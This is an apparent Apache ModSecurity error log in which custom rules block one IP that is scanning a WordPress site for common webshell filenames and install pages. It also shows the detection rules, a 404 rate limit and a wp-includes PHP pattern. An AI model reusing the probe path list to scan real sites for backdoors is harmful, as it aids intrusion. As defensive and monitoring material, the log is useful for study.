[Sat Feb 07 09:49:43.469712 2026] [:error] [pid 43182:tid 43201] [client 20.100.190.151:36809] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aYaaN_EC82JnxmrnFYkjdQAAAVE"]
[Sat Feb 07 09:49:44.372332 2026] [:error] [pid 50673:tid 50749] [client 20.100.190.151:63618] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aYaaOGVwLsaZ7aKO2clFUQAAAI4"]
[Sat Feb 07 09:49:45.075672 2026] [:error] [pid 58058:tid 58063] [client 20.100.190.151:25247] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aYaaObz-Qlvs65S4DP-ELwAAAYI"]
[Sat Feb 07 09:49:45.769713 2026] [:error] [pid 50780:tid 50803] [client 20.100.190.151:63628] [client 20.100.190.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aYaaOetUmIu2JHM2CrvtmwAAANU"]
[Sat Feb 07 09:49:50.260344 2026] [:error] [pid 50673:tid 50748] [client 20.100.190.151:34851] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rezor.php"] [unique_id "aYaaPmVwLsaZ7aKO2clFZgAAAI0"]
[Sat Feb 07 09:49:51.636774 2026] [:error] [pid 50671:tid 50697] [client 20.100.190.151:28705] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rezor.php"] [unique_id "aYaaP7vqLohWBI_mqBMl8AAAABE"]
[Sat Feb 07 09:49:52.589876 2026] [:error] [pid 50780:tid 50800] [client 20.100.190.151:63662] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rezor.php"] [unique_id "aYaaQOtUmIu2JHM2CrvtogAAANI"]
[Sat Feb 07 09:49:53.267054 2026] [:error] [pid 50673:tid 50751] [client 20.100.190.151:63619] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rezor.php"] [unique_id "aYaaQWVwLsaZ7aKO2clFaQAAAJA"]
[Sat Feb 07 09:49:55.594740 2026] [:error] [pid 50673:tid 50750] [client 20.100.190.151:39538] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aYaaQ2VwLsaZ7aKO2clFbQAAAI8"]
[Sat Feb 07 09:49:56.875005 2026] [:error] [pid 43182:tid 43188] [client 20.100.190.151:21747] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aYaaRPEC82JnxmrnFYkjhQAAAUQ"]
[Sat Feb 07 09:49:58.901486 2026] [:error] [pid 58058:tid 58066] [client 20.100.190.151:37816] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aYaaRrz-Qlvs65S4DP-EOgAAAYU"]
[Sat Feb 07 09:49:59.730529 2026] [:error] [pid 58058:tid 58083] [client 20.100.190.151:40149] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aYaaR7z-Qlvs65S4DP-EPAAAAZY"]
[Sat Feb 07 09:50:01.921446 2026] [:error] [pid 50780:tid 50796] [client 20.100.190.151:38213] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aYaaSetUmIu2JHM2CrvtrQAAAM4"]
[Sat Feb 07 09:50:02.868570 2026] [:error] [pid 50672:tid 50721] [client 20.100.190.151:33858] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aYaaSg9o0jq1XS8Nv7PFnAAAAE0"]
[Sat Feb 07 09:50:04.049471 2026] [:error] [pid 58058:tid 58070] [client 20.100.190.151:40138] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aYaaTLz-Qlvs65S4DP-EPwAAAYk"]
[Sat Feb 07 09:50:05.036708 2026] [:error] [pid 50673:tid 50745] [client 20.100.190.151:29954] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aYaaTWVwLsaZ7aKO2clFiwAAAIo"]
[Sat Feb 07 09:50:05.702602 2026] [:error] [pid 58058:tid 58069] [client 20.100.190.151:23674] [client 20.100.190.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "aYaaTbz-Qlvs65S4DP-EQQAAAYg"]
[Sat Feb 07 09:50:06.789724 2026] [:error] [pid 50672:tid 50715] [client 20.100.190.151:29990] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aYaaTg9o0jq1XS8Nv7PFngAAAEc"]
[Sat Feb 07 09:50:07.564143 2026] [:error] [pid 43182:tid 43199] [client 20.100.190.151:38217] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aYaaT_EC82JnxmrnFYkjlQAAAU8"]
[Sat Feb 07 09:50:08.375439 2026] [:error] [pid 50780:tid 50792] [client 20.100.190.151:30468] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aYaaUOtUmIu2JHM2CrvtuAAAAMo"]
[Sat Feb 07 09:50:08.916015 2026] [:error] [pid 58058:tid 58079] [client 20.100.190.151:33901] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aYaaULz-Qlvs65S4DP-ERAAAAZI"]
[Sat Feb 07 09:50:09.869034 2026] [:error] [pid 50780:tid 50787] [client 20.100.190.151:6090] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/~norapump/hah.php"] [unique_id "aYaaUetUmIu2JHM2CrvtvAAAAMU"]
[Sat Feb 07 09:50:10.543458 2026] [:error] [pid 50673:tid 50754] [client 20.100.190.151:39504] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/~norapump/hah.php"] [unique_id "aYaaUmVwLsaZ7aKO2clFkgAAAJM"]
[Sat Feb 07 09:50:11.202771 2026] [:error] [pid 55157:tid 55177] [client 20.100.190.151:30475] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/~norapump/hah.php"] [unique_id "aYaaU336JdtTn2bTEow8aQAAAQ8"]
[Sat Feb 07 09:50:11.849545 2026] [:error] [pid 50780:tid 50788] [client 20.100.190.151:27032] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/~norapump/hah.php"] [unique_id "aYaaU-tUmIu2JHM2CrvtvwAAAMY"]
[Sat Feb 07 09:50:13.155278 2026] [:error] [pid 50780:tid 50786] [client 20.100.190.151:40165] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aYaaVetUmIu2JHM2CrvtwgAAAMQ"]
[Sat Feb 07 09:50:14.067836 2026] [:error] [pid 50671:tid 50699] [client 20.100.190.151:38204] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aYaaVrvqLohWBI_mqBMl_wAAABM"]
[Sat Feb 07 09:50:14.725171 2026] [:error] [pid 50671:tid 50703] [client 20.100.190.151:6140] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aYaaVrvqLohWBI_mqBMmAQAAABc"]
[Sat Feb 07 09:50:15.534767 2026] [:error] [pid 50673:tid 50745] [client 20.100.190.151:33880] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aYaaV2VwLsaZ7aKO2clFmAAAAIo"]
[Sat Feb 07 09:50:16.245232 2026] [:error] [pid 55157:tid 55175] [client 20.100.190.151:34408] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aYaaWH36JdtTn2bTEow8bQAAAQ0"]
[Sat Feb 07 09:50:17.354046 2026] [:error] [pid 50673:tid 50746] [client 20.100.190.151:38181] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aYaaWWVwLsaZ7aKO2clFngAAAIs"]
[Sat Feb 07 09:50:18.136320 2026] [:error] [pid 50673:tid 50744] [client 20.100.190.151:34420] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aYaaWmVwLsaZ7aKO2clFoQAAAIk"]
[Sat Feb 07 09:50:19.033949 2026] [:error] [pid 55157:tid 55185] [client 20.100.190.151:30501] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aYaaW336JdtTn2bTEow8cAAAARc"]
[Sat Feb 07 09:50:20.484403 2026] [:error] [pid 50672:tid 50725] [client 20.100.190.151:26495] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aYaaXA9o0jq1XS8Nv7PFpwAAAFE"]
[Sat Feb 07 09:50:21.935747 2026] [:error] [pid 50672:tid 50728] [client 20.100.190.151:26457] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aYaaXQ9o0jq1XS8Nv7PFqAAAAFQ"]
[Sat Feb 07 09:50:22.722473 2026] [:error] [pid 50672:tid 50726] [client 20.100.190.151:44345] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aYaaXg9o0jq1XS8Nv7PFqwAAAFI"]
[Sat Feb 07 09:50:23.383634 2026] [:error] [pid 50673:tid 50750] [client 20.100.190.151:33392] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aYaaX2VwLsaZ7aKO2clFpAAAAI8"]
[Sat Feb 07 09:50:24.285622 2026] [:error] [pid 50672:tid 50716] [client 20.100.190.151:35641] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/"] [unique_id "aYaaYA9o0jq1XS8Nv7PFrwAAAEg"]
[Sat Feb 07 09:50:25.409422 2026] [:error] [pid 50780:tid 50795] [client 20.100.190.151:42202] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/"] [unique_id "aYaaYetUmIu2JHM2Crvt1AAAAM0"]
[Sat Feb 07 09:50:26.454819 2026] [:error] [pid 55157:tid 55163] [client 20.100.190.151:26480] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/"] [unique_id "aYaaYn36JdtTn2bTEow8dAAAAQE"]
[Sat Feb 07 09:50:27.332289 2026] [:error] [pid 50672:tid 50718] [client 20.100.190.151:35643] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/"] [unique_id "aYaaYw9o0jq1XS8Nv7PFtwAAAEo"]
[Sat Feb 07 09:50:28.010881 2026] [:error] [pid 50672:tid 50728] [client 20.100.190.151:44371] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aYaaZA9o0jq1XS8Nv7PFuwAAAFQ"]
[Sat Feb 07 09:50:29.201292 2026] [:error] [pid 50671:tid 50693] [client 20.100.190.151:37187] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aYaaZbvqLohWBI_mqBMmCgAAAA0"]
[Sat Feb 07 09:50:29.906884 2026] [:error] [pid 55157:tid 55177] [client 20.100.190.151:33378] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aYaaZX36JdtTn2bTEow8eAAAAQ8"]
[Sat Feb 07 09:50:30.457628 2026] [:error] [pid 50780:tid 50782] [client 20.100.190.151:42180] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aYaaZutUmIu2JHM2Crvt4QAAAMA"]
[Sat Feb 07 09:50:31.042077 2026] [:error] [pid 50780:tid 50798] [client 20.100.190.151:36445] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYaaZ-tUmIu2JHM2Crvt5AAAANA"]
[Sat Feb 07 09:50:32.004419 2026] [:error] [pid 50780:tid 50797] [client 20.100.190.151:35595] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYaaaOtUmIu2JHM2Crvt6QAAAM8"]
[Sat Feb 07 09:50:32.602511 2026] [:error] [pid 58058:tid 58084] [client 20.100.190.151:36475] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYaaaLz-Qlvs65S4DP-EXQAAAZc"]
[Sat Feb 07 09:50:33.395889 2026] [:error] [pid 58058:tid 58070] [client 20.100.190.151:39458] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYaaabz-Qlvs65S4DP-EXgAAAYk"]
[Sat Feb 07 09:50:34.124732 2026] [:error] [pid 58058:tid 58069] [client 20.100.190.151:36421] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYaaarz-Qlvs65S4DP-EXwAAAYg"]
[Sat Feb 07 09:50:34.799916 2026] [:error] [pid 50780:tid 50790] [client 20.100.190.151:20697] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYaaautUmIu2JHM2Crvt7AAAAMg"]
[Sat Feb 07 09:50:35.623898 2026] [:error] [pid 50671:tid 50689] [client 20.100.190.151:42187] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYaaa7vqLohWBI_mqBMmFgAAAAk"]
[Sat Feb 07 09:50:36.391063 2026] [:error] [pid 50672:tid 50731] [client 20.100.190.151:10915] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYaabA9o0jq1XS8Nv7PFyQAAAFc"]
[Sat Feb 07 09:50:37.024748 2026] [:error] [pid 50673:tid 50747] [client 20.100.190.151:20692] [client 20.100.190.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYaabWVwLsaZ7aKO2clFqQAAAIw"]
[Sat Feb 07 09:50:37.777399 2026] [:error] [pid 50673:tid 50739] [client 20.100.190.151:39695] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYaabWVwLsaZ7aKO2clFqgAAAIQ"]
[Sat Feb 07 09:50:38.332125 2026] [:error] [pid 50673:tid 50737] [client 20.100.190.151:35592] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYaabmVwLsaZ7aKO2clFrQAAAII"]
